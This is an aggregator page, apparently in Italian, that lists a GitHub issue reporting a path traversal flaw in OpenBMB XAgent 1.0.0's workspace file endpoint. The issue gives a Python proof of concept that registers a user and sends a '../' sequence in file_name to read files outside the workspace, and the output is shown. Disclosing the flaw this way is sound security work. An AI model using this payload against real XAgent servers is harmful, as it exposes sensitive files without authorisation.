Hacktoberfest 2026: le issue che i maintainer hanno segnato per ottobre, aperte e adatte ai principianti. Sfoglia le issue Hacktoberfest

Vulnerability report: OpenBMB XAgent 1.0.0 Path Traversal

Aperta
#434 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

Nessuno ha ancora preso questa issue.

Valutazione

Difficoltà
4/5
Tempo stimato
3-5 giorni
Idoneità per principianti
45/100
Tipo di issue
Bug
Chiarezza
Specificata chiaramente
Stato di attività
Tranquilla
Stack tecnologico
python
Ambito
api, backend, security

Direzione di ricerca

Inizia da XAgent/XAgentServer/application/routers/workspace.py e dalla riproduzione di POST /workspace/file. Traccia come file_name controllato dall’utente diventa un percorso, quindi verifica il comportamento usando le requests fornite. Il lavoro è completato quando un input di traversal non può leggere file al di fuori del workspace previsto, mentre il normale accesso ai file continua a funzionare.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

bug

Vulnerability report: OpenBMB XAgent 1.0.0 Path Traversal

Vulnerability summary

XAgent is vulnerable to path traversal vulnerability in file() function in XAgent/XAgentServer/application/routers/workspace.py. The input parameter “file_name” is user-controllable and is concatenated into the file path to be read without proper validation, leading to a directory traversal vulnerability that may result in sensitive information disclosure.

Affected product

Vendor: OpenBMB

Product: XAgent

Version: 1.0.0

Vulnerability component: XAgent/XAgentServer/application/routers/workspace.py

Vulnerability detail

Vulnerability type: Path Traversal

Attack type: Remote

Impact: Information Disclosure

Vulnerability Reproduction

  1. After launching XAgent, we first create a user
import requests
url = 'http://localhost:8090'

user = {
    "email": "[email protected]",
    "name": "user",
    "corporation": "xx",
    "position": "xx",
    "industry": "xx"

}

req = requests.post(url=f'{url}/user/register', data=user)
print(req.text)
'''
{"data":{"user_id":"c929cb68852547d9aa4f26ca453c38ad","email":"[email protected]","name":"user","token":"92fd4b90149a4ff9877e33a788a4cf74","available":true,"corporation":"xx","position":"xx","industry":"xx","create_time":"2026-01-21 15:21:05","update_time":"2026-01-21 15:21:05","is_beta":false},"success":true,"message":"Register success, we will send a email to you!"}
'''
  1. create an interaction
data = {
    "user_id": "c929cb68852547d9aa4f26ca453c38ad",
    "token": "92fd4b90149a4ff9877e33a788a4cf74"
}
req = requests.post(url=f'{url}/conv/init_conv_env', data=data)
print(req.text)
'''
{"data":{"id":"8005eb45f8724b4d8b4914e9c9460654","t":"1769008962493"},"success":true,"message":"success"}
'''
  1. call routers/conv/community api
import json
interaction = {
    "interaction_id": "8005eb45f8724b4d8b4914e9c9460654",
    "create_time": "2026-01-21"
}

raws = [
    {
        "status": "finished"
    }
]

data = {
    "user_id": "c929cb68852547d9aa4f26ca453c38ad",
    "token": "92fd4b90149a4ff9877e33a788a4cf74",
    "user_name":  "user",
    "interaction":   json.dumps(interaction),
    "raws": json.dumps(raws)
}

files = {
    'files': open('./test.js', 'rb')
}
req = requests.post(url=f'{url}/conv/community', data=data, files=files)
  1. call routers/workspace/file api
data = {
    "user_id": "c929cb68852547d9aa4f26ca453c38ad",
    "token": "92fd4b90149a4ff9877e33a788a4cf74",
    "interaction_id": "8005eb45f8724b4d8b4914e9c9460654",
    "file_name": "../../../../../../../example.txt" # malicious input
}
req = requests.post(url=f'{url}/workspace/file', data=data)
print(req.text)
'''
{"data":"path traversal!\n","success":true,"message":"get file success!"}
'''

After constructing malicious input(file_name), we can trigger the vulnerability and access any sensitive information.

Lingua principale
Python
Stelle
8.5k
Fork
905
Metriche di merge delle PR
Nessuna PR unita negli ultimi 30g

Preparare l'ambiente

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di OpenBMB/XAgent

Tutte le issue di OpenBMB/XAgent

Issue simili

Altre issue su Python

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.